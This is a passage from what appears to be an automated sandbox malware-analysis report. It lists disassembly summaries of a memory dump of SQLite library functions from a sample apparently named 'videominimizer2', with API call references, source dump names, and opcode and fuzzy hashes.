                                                                                                                                                                                                                                      • sqlite3_step.SQLITE3 ref: 60967AB4
                                                                                                                                                                                                                                      • sqlite3_column_int.SQLITE3 ref: 60967AC7
                                                                                                                                                                                                                                      • sqlite3_reset.SQLITE3 ref: 60967AD4
                                                                                                                                                                                                                                      • sqlite3_bind_int.SQLITE3 ref: 60967B89
                                                                                                                                                                                                                                      • sqlite3_step.SQLITE3 ref: 60967B94
                                                                                                                                                                                                                                      • sqlite3_column_int64.SQLITE3 ref: 60967BB0
                                                                                                                                                                                                                                      • sqlite3_column_int64.SQLITE3 ref: 60967BCF
                                                                                                                                                                                                                                      • sqlite3_column_int64.SQLITE3 ref: 60967BE6
                                                                                                                                                                                                                                      • sqlite3_column_bytes.SQLITE3 ref: 60967C05
                                                                                                                                                                                                                                      • sqlite3_column_blob.SQLITE3 ref: 60967C1E
                                                                                                                                                                                                                                        • Part of subcall function 6095ECA6: sqlite3_mprintf.SQLITE3 ref: 6095ED50
                                                                                                                                                                                                                                      • sqlite3_bind_int64.SQLITE3 ref: 60967C72
                                                                                                                                                                                                                                      • sqlite3_step.SQLITE3 ref: 60967C7D
                                                                                                                                                                                                                                      • memcmp.MSVCRT ref: 60967D4C
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 60967D69
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 60967D74
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 60967FF7
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 60968002
                                                                                                                                                                                                                                        • Part of subcall function 609634F0: sqlite3_blob_reopen.SQLITE3 ref: 60963510
                                                                                                                                                                                                                                        • Part of subcall function 609634F0: sqlite3_blob_bytes.SQLITE3 ref: 609635A3
                                                                                                                                                                                                                                        • Part of subcall function 609634F0: sqlite3_malloc.SQLITE3 ref: 609635BB
                                                                                                                                                                                                                                        • Part of subcall function 609634F0: sqlite3_blob_read.SQLITE3 ref: 60963602
                                                                                                                                                                                                                                        • Part of subcall function 609634F0: sqlite3_free.SQLITE3 ref: 60963621
                                                                                                                                                                                                                                      • sqlite3_reset.SQLITE3 ref: 60967C93
                                                                                                                                                                                                                                        • Part of subcall function 60941C40: sqlite3_mutex_enter.SQLITE3 ref: 60941C58
                                                                                                                                                                                                                                        • Part of subcall function 60941C40: sqlite3_mutex_leave.SQLITE3 ref: 60941CBE
                                                                                                                                                                                                                                      • sqlite3_reset.SQLITE3 ref: 60967CA7
                                                                                                                                                                                                                                      • sqlite3_reset.SQLITE3 ref: 60968035
                                                                                                                                                                                                                                      • sqlite3_bind_int64.SQLITE3 ref: 60967B72
                                                                                                                                                                                                                                        • Part of subcall function 60925686: sqlite3_mutex_leave.SQLITE3 ref: 609256D3
                                                                                                                                                                                                                                      • sqlite3_bind_int64.SQLITE3 ref: 6096809D
                                                                                                                                                                                                                                      • sqlite3_bind_int64.SQLITE3 ref: 609680C6
                                                                                                                                                                                                                                      • sqlite3_step.SQLITE3 ref: 609680D1
                                                                                                                                                                                                                                      • sqlite3_column_int.SQLITE3 ref: 609680F3
                                                                                                                                                                                                                                      • sqlite3_reset.SQLITE3 ref: 60968104
                                                                                                                                                                                                                                      • sqlite3_step.SQLITE3 ref: 60968139
                                                                                                                                                                                                                                      • sqlite3_column_int64.SQLITE3 ref: 60968151
                                                                                                                                                                                                                                      • sqlite3_reset.SQLITE3 ref: 6096818A
                                                                                                                                                                                                                                        • Part of subcall function 6095ECA6: sqlite3_mprintf.SQLITE3 ref: 6095ED2B
                                                                                                                                                                                                                                        • Part of subcall function 6095ECA6: sqlite3_bind_value.SQLITE3 ref: 6095EDDF
                                                                                                                                                                                                                                      • sqlite3_reset.SQLITE3 ref: 609679E9
                                                                                                                                                                                                                                        • Part of subcall function 609160CD: sqlite3_realloc.SQLITE3 ref: 609160EF
                                                                                                                                                                                                                                      • sqlite3_column_bytes.SQLITE3 ref: 60967587
                                                                                                                                                                                                                                        • Part of subcall function 6091D5DC: sqlite3_value_bytes.SQLITE3 ref: 6091D5F4
                                                                                                                                                                                                                                      • sqlite3_column_blob.SQLITE3 ref: 60967572
                                                                                                                                                                                                                                        • Part of subcall function 6091D57E: sqlite3_value_blob.SQLITE3 ref: 6091D596
                                                                                                                                                                                                                                      • sqlite3_reset.SQLITE3 ref: 609675B7
                                                                                                                                                                                                                                      • sqlite3_bind_int.SQLITE3 ref: 60967641
                                                                                                                                                                                                                                      • sqlite3_step.SQLITE3 ref: 6096764C
                                                                                                                                                                                                                                      • sqlite3_column_int64.SQLITE3 ref: 6096766E
                                                                                                                                                                                                                                      • sqlite3_reset.SQLITE3 ref: 6096768B
                                                                                                                                                                                                                                      • sqlite3_bind_int.SQLITE3 ref: 6096754F
                                                                                                                                                                                                                                        • Part of subcall function 609256E5: sqlite3_bind_int64.SQLITE3 ref: 60925704
                                                                                                                                                                                                                                      • sqlite3_bind_int.SQLITE3 ref: 609690B2
                                                                                                                                                                                                                                      • sqlite3_bind_blob.SQLITE3 ref: 609690DB
                                                                                                                                                                                                                                      • sqlite3_step.SQLITE3 ref: 609690E6
                                                                                                                                                                                                                                      • sqlite3_reset.SQLITE3 ref: 609690F1
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 60969102
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 6096910D
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_reset$sqlite3_step$sqlite3_column_int64sqlite3_free$sqlite3_bind_int64$sqlite3_bind_int$sqlite3_column_blobsqlite3_column_bytessqlite3_mallocsqlite3_mprintf$sqlite3_column_intsqlite3_mutex_leave$memcmpsqlite3_bind_blobsqlite3_bind_valuesqlite3_blob_bytessqlite3_blob_readsqlite3_blob_reopensqlite3_initializesqlite3_mutex_entersqlite3_prepare_v2sqlite3_reallocsqlite3_value_blobsqlite3_value_bytes
                                                                                                                                                                                                                                      • String ID: $d
                                                                                                                                                                                                                                      • API String ID: 2451604321-2084297493
                                                                                                                                                                                                                                      • Opcode ID: 8a4e51d2763d1baa8146902d495da2ef892242416c9706ebfa3093aedc646825
                                                                                                                                                                                                                                      • Instruction ID: 6b7ea73e19bc996eb6a422b8fcf26663d3cb25e4dd91ceba81a4d6a678ae72ab
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8a4e51d2763d1baa8146902d495da2ef892242416c9706ebfa3093aedc646825
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2CF2CF74A152288FDB54CF68C980B9EBBF2BF69304F1185A9E888A7341D774ED85CF41
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_value_text.SQLITE3 ref: 6096A64C
                                                                                                                                                                                                                                      • sqlite3_value_bytes.SQLITE3 ref: 6096A656
                                                                                                                                                                                                                                      • sqlite3_strnicmp.SQLITE3 ref: 6096A682
                                                                                                                                                                                                                                      • sqlite3_strnicmp.SQLITE3 ref: 6096A6BC
                                                                                                                                                                                                                                      • sqlite3_mprintf.SQLITE3 ref: 6096A6F9
                                                                                                                                                                                                                                      • sqlite3_malloc.SQLITE3 ref: 6096A754
                                                                                                                                                                                                                                      • sqlite3_step.SQLITE3 ref: 6096A969
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 6096A9AC
                                                                                                                                                                                                                                      • sqlite3_finalize.SQLITE3 ref: 6096A9BB
                                                                                                                                                                                                                                      • sqlite3_strnicmp.SQLITE3 ref: 6096B04A
                                                                                                                                                                                                                                        • Part of subcall function 6096A38C: sqlite3_bind_int.SQLITE3 ref: 6096A3DE
                                                                                                                                                                                                                                        • Part of subcall function 6096A38C: sqlite3_step.SQLITE3 ref: 6096A435
                                                                                                                                                                                                                                        • Part of subcall function 6096A38C: sqlite3_reset.SQLITE3 ref: 6096A445
                                                                                                                                                                                                                                      • sqlite3_value_int.SQLITE3 ref: 6096B241
                                                                                                                                                                                                                                      • sqlite3_malloc.SQLITE3 ref: 6096B270
                                                                                                                                                                                                                                      • sqlite3_bind_null.SQLITE3 ref: 6096B2DF
                                                                                                                                                                                                                                      • sqlite3_step.SQLITE3 ref: 6096B2EA
                                                                                                                                                                                                                                      • sqlite3_reset.SQLITE3 ref: 6096B2F5
                                                                                                                                                                                                                                      • sqlite3_value_int.SQLITE3 ref: 6096B43B
                                                                                                                                                                                                                                      • sqlite3_value_text.SQLITE3 ref: 6096B530
                                                                                                                                                                                                                                      • sqlite3_value_bytes.SQLITE3 ref: 6096B576
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 6096B5F4
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_stepsqlite3_strnicmp$sqlite3_freesqlite3_mallocsqlite3_resetsqlite3_value_bytessqlite3_value_intsqlite3_value_text$sqlite3_bind_intsqlite3_bind_nullsqlite3_finalizesqlite3_mprintf
                                                                                                                                                                                                                                      • String ID: optimize
                                                                                                                                                                                                                                      • API String ID: 1540667495-3797040228
                                                                                                                                                                                                                                      • Opcode ID: ab382b16e3f59fac809a38361d516dac1e6c4c02a096abfb60effccae4f38c9b
                                                                                                                                                                                                                                      • Instruction ID: 15d53f9c7948a495e2c6926a79545eea34293df74e7a3e63ea56b3727437b729
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ab382b16e3f59fac809a38361d516dac1e6c4c02a096abfb60effccae4f38c9b
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 54B2F670A142198FEB14DF68C890B9DBBF6BF68304F1085A9E889AB351E774DD85CF41
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_finalize.SQLITE3 ref: 60966178
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3 ref: 60966183
                                                                                                                                                                                                                                      • sqlite3_value_numeric_type.SQLITE3 ref: 609661AE
                                                                                                                                                                                                                                      • sqlite3_value_numeric_type.SQLITE3 ref: 609661DE
                                                                                                                                                                                                                                      • sqlite3_value_text.SQLITE3 ref: 60966236
                                                                                                                                                                                                                                      • sqlite3_value_int.SQLITE3 ref: 60966274
                                                                                                                                                                                                                                      • memcmp.MSVCRT ref: 6096639E
                                                                                                                                                                                                                                        • Part of subcall function 60940A5B: sqlite3_malloc.SQLITE3 ref: 60940AA1
                                                                                                                                                                                                                                        • Part of subcall function 60940A5B: sqlite3_free.SQLITE3 ref: 60940C1D
                                                                                                                                                                                                                                      • sqlite3_mprintf.SQLITE3 ref: 60966B51
                                                                                                                                                                                                                                      • sqlite3_mprintf.SQLITE3 ref: 60966B7D
                                                                                                                                                                                                                                        • Part of subcall function 609296AA: sqlite3_initialize.SQLITE3 ref: 609296B0
                                                                                                                                                                                                                                        • Part of subcall function 609296AA: sqlite3_vmprintf.SQLITE3 ref: 609296CA
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_freesqlite3_mprintfsqlite3_value_numeric_type$memcmpsqlite3_finalizesqlite3_initializesqlite3_mallocsqlite3_value_intsqlite3_value_textsqlite3_vmprintf
                                                                                                                                                                                                                                      • String ID: ASC$DESC$x
                                                                                                                                                                                                                                      • API String ID: 4082667235-1162196452
                                                                                                                                                                                                                                      • Opcode ID: 7264e4280a4ba67b830c3238f8418230a53be4a89f04bb086879d88682624c0f
                                                                                                                                                                                                                                      • Instruction ID: 01f4316cc9c65235d83944c747b96ccca9397e1276bdc6c450b31a73d7ca280a
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7264e4280a4ba67b830c3238f8418230a53be4a89f04bb086879d88682624c0f
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: AD921274A14319CFEB10CFA9C99079DBBB6BF69304F20816AD858AB342D774E985CF41
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_bind_int64.SQLITE3(?,?), ref: 609693A5
                                                                                                                                                                                                                                      • sqlite3_step.SQLITE3(?,?), ref: 609693B0
                                                                                                                                                                                                                                      • sqlite3_column_int64.SQLITE3(?,?), ref: 609693DC
                                                                                                                                                                                                                                        • Part of subcall function 6096A2BD: sqlite3_bind_int64.SQLITE3 ref: 6096A322
                                                                                                                                                                                                                                        • Part of subcall function 6096A2BD: sqlite3_step.SQLITE3 ref: 6096A32D
                                                                                                                                                                                                                                        • Part of subcall function 6096A2BD: sqlite3_column_int.SQLITE3 ref: 6096A347
                                                                                                                                                                                                                                        • Part of subcall function 6096A2BD: sqlite3_reset.SQLITE3 ref: 6096A354
                                                                                                                                                                                                                                      • sqlite3_reset.SQLITE3(?,?), ref: 609693F3
                                                                                                                                                                                                                                      • sqlite3_malloc.SQLITE3(?), ref: 60969561
                                                                                                                                                                                                                                      • sqlite3_malloc.SQLITE3(?), ref: 6096958D
                                                                                                                                                                                                                                      • sqlite3_step.SQLITE3(?), ref: 609695D2
                                                                                                                                                                                                                                      • sqlite3_column_int64.SQLITE3(?), ref: 609695EA
                                                                                                                                                                                                                                      • sqlite3_reset.SQLITE3(?), ref: 60969604
                                                                                                                                                                                                                                      • sqlite3_realloc.SQLITE3(?), ref: 609697D0
                                                                                                                                                                                                                                      • sqlite3_realloc.SQLITE3(?), ref: 609698A9
                                                                                                                                                                                                                                        • Part of subcall function 609129D5: sqlite3_initialize.SQLITE3(?,?,?,60915F55,?,?,?,?,?,?,00000000,?,?,?,60915FE2,00000000), ref: 609129E0
                                                                                                                                                                                                                                      • sqlite3_bind_int64.SQLITE3(?,?), ref: 609699B8
                                                                                                                                                                                                                                      • sqlite3_bind_int64.SQLITE3(?), ref: 6096934D
                                                                                                                                                                                                                                        • Part of subcall function 60925686: sqlite3_mutex_leave.SQLITE3 ref: 609256D3
                                                                                                                                                                                                                                      • sqlite3_bind_int64.SQLITE3(?,?), ref: 60969A6A
                                                                                                                                                                                                                                      • sqlite3_step.SQLITE3(?,?), ref: 60969A75
                                                                                                                                                                                                                                      • sqlite3_reset.SQLITE3(?,?), ref: 60969A80
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3(?), ref: 60969D41
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3(?), ref: 60969D4C
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3(?), ref: 60969D5B
                                                                                                                                                                                                                                        • Part of subcall function 6095ECA6: sqlite3_mprintf.SQLITE3 ref: 6095ED06
                                                                                                                                                                                                                                        • Part of subcall function 6095ECA6: sqlite3_prepare_v2.SQLITE3 ref: 6095ED8D
                                                                                                                                                                                                                                        • Part of subcall function 6095ECA6: sqlite3_free.SQLITE3 ref: 6095ED9B
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_bind_int64$sqlite3_freesqlite3_resetsqlite3_step$sqlite3_column_int64sqlite3_mallocsqlite3_realloc$sqlite3_column_intsqlite3_initializesqlite3_mprintfsqlite3_mutex_leavesqlite3_prepare_v2
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 961572588-0
                                                                                                                                                                                                                                      • Opcode ID: c724daf3936d67fd3e7a59374d144345718a9f8d9c21f3c7abba70c9fa35c0f4
                                                                                                                                                                                                                                      • Instruction ID: dba6eef834311e7f80380fc62c490a647dd1765b4da9a7e0a506f520bf28697a
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c724daf3936d67fd3e7a59374d144345718a9f8d9c21f3c7abba70c9fa35c0f4
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9872F275A042298FDB24CF69C88078DB7F6FF98314F1586A9D889AB341D774AD81CF81
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_bind_int64sqlite3_mutex_leavesqlite3_stricmp
                                                                                                                                                                                                                                      • String ID: 2$foreign key$indexed
                                                                                                                                                                                                                                      • API String ID: 4126863092-702264400
                                                                                                                                                                                                                                      • Opcode ID: efb0247afb620838301bdf32ec29a55ffab8ab84c5461d6934eb6e15b590f11f
                                                                                                                                                                                                                                      • Instruction ID: 3d5d194cd292e354de8359ea213fef7e5121ae3f60f7d2d7ba557b44893e8b9c
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: efb0247afb620838301bdf32ec29a55ffab8ab84c5461d6934eb6e15b590f11f
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6BE1B374A142099FDB04CFA8D590A9DBBF2BFA9304F21C129E855AB754DB35ED82CF40
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_bind_int64.SQLITE3 ref: 6094A72B
                                                                                                                                                                                                                                      • sqlite3_step.SQLITE3 ref: 6094A73C
                                                                                                                                                                                                                                      • sqlite3_column_blob.SQLITE3 ref: 6094A760
                                                                                                                                                                                                                                      • sqlite3_column_bytes.SQLITE3 ref: 6094A77C
                                                                                                                                                                                                                                      • sqlite3_malloc.SQLITE3 ref: 6094A793
                                                                                                                                                                                                                                      • sqlite3_reset.SQLITE3 ref: 6094A7F2
                                                                                                                                                                                                                                      • sqlite3_free.SQLITE3(?), ref: 6094A87C
                                                                                                                                                                                                                                        • Part of subcall function 60901C61: sqlite3_mutex_enter.SQLITE3 ref: 60901C80
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_bind_int64sqlite3_column_blobsqlite3_column_bytessqlite3_freesqlite3_mallocsqlite3_mutex_entersqlite3_resetsqlite3_step
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2794791986-0
                                                                                                                                                                                                                                      • Opcode ID: 324244e72ed1eb068e97444324dd06558e7f5640642cd65f7376e38a8826fd77
                                                                                                                                                                                                                                      • Instruction ID: 088d5e00ded46b3eb5457b54e5d33bc48436a4b712d77f6ae5dc1ca3eb859b7b
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 324244e72ed1eb068e97444324dd06558e7f5640642cd65f7376e38a8826fd77
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BE5110B5A042058FCB04CF69C48069ABBF6FF68318F158569E858AB345D734EC82CF90
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_stricmp
                                                                                                                                                                                                                                      • String ID: USING COVERING INDEX $DISTINCT$ORDER BY
                                                                                                                                                                                                                                      • API String ID: 912767213-1308749736
                                                                                                                                                                                                                                      • Opcode ID: 5e6ae8a77223c4cf3853263767bd84c2ef0a0cb2633a4755bdfaa367f33b2fd5
                                                                                                                                                                                                                                      • Instruction ID: 4f43644a9add5c5df618cbd47cd61ce2203d262f2077f605e752fe25420d36ab
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5e6ae8a77223c4cf3853263767bd84c2ef0a0cb2633a4755bdfaa367f33b2fd5
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2412D674A08268CFDB25DF28C880B5AB7B3AFA9314F1085E9E8899B355D774DD81CF41
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • sqlite3_bind_int64.SQLITE3 ref: 6094B488
                                                                                                                                                                                                                                      • sqlite3_step.SQLITE3 ref: 6094B496
                                                                                                                                                                                                                                      • sqlite3_reset.SQLITE3 ref: 6094B4A4
                                                                                                                                                                                                                                      • sqlite3_bind_int64.SQLITE3 ref: 6094B4D2
                                                                                                                                                                                                                                      • sqlite3_step.SQLITE3 ref: 6094B4E0
                                                                                                                                                                                                                                      • sqlite3_reset.SQLITE3 ref: 6094B4EE
                                                                                                                                                                                                                                        • Part of subcall function 6094B54C: memmove.MSVCRT(?,?,?,?,?,?,?,?,00000000,?,6094B44B), ref: 6094B6B5
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: sqlite3_bind_int64sqlite3_resetsqlite3_step$memmove
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 4082478743-0
                                                                                                                                                                                                                                      • Opcode ID: aa77e302053f557c70a8d8c80c1bb3ccc0b69d7e46be98bddd9db9cb48891f7f
                                                                                                                                                                                                                                      • Instruction ID: 9e7f29540a3c6f2d28ce6b101cd1a975f5529a8f599b89b7128c34d749e8d9ce
